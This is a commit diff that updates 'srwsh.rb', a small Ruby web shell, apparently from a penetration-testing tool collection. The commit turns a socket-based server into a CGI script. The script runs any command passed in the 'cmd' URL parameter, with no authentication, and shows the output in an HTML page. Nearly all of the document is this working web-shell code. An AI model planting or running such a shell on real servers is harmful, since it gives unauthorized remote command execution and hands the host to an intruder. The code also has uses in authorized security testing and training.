Update srwsh.rb

This commit is contained in:
Ricardo 2023-01-26 15:46:22 -04:00 committed by Alexandre ZANNI
parent 4fd088ca38
commit e8e1a379c3

View file

@ -2,43 +2,31 @@
# frozen_string_literal: true # frozen_string_literal: true
# Small Ruby Web Shell # Small Ruby Web Shell
# This a Ruby web shell written with sockets only
require 'socket'
require 'cgi' require 'cgi'
ipaddr, port = ARGV.size == 2 ? ARGV[0..] : ['localhost', 4000] print "Content-type: text/html\r\n\r\n"
http = TCPServer.new(ipaddr, port)
response = DATA.read
puts("Pure HTTP server started at #{ipaddr}:#{port}") cgi = CGI.new
html = DATA.read
while con = http.accept if cgi["cmd"]
data = con.gets output = %x(#{CGI.unescape(cgi['cmd'])}) rescue "Command error: #{cgi['cmd']}"
output = ''
if data =~ %r{/\?cmd=(.*)\sHTTP}
output = %x(#{CGI.unescape($1)}) rescue "Command error: #{$1}"
end
con.print('HTTP/1.1 200 OK\r\n')
con.print('Content-Type: text/html\r\n\r\n')
con.puts(response % output)
con.close
end end
puts html % [File.basename($0), output]
__END__ __END__
<html> <html>
<head> <head>
<meta charset="utf-8"> <meta charset="utf-8">
</head> </head>
<body style="font-family: monospace; text-align: center"> <body style="font-family: monospace; text-align: center">
<form action="/" method="get"> <form action="/cgi-bin/%s" method="get">
<h1>Small Ruby Web Shell</h1> <h1>Small Ruby Web Shell</h1>
<input type="text" placeholder="ls -la" name="cmd"> <input type="text" placeholder="ls -la" name="cmd">
<input type="submit" value="Run"> <input type="submit" value="Run">
</form> </form>
<textarea readonly style="background-color: black; color: lime">%s</textarea> <textarea readonly style="background-color: black; color: lime; width: 512; border: none; padding: 10px" rows="16">%s</textarea>
<body> <body>
</html> </html>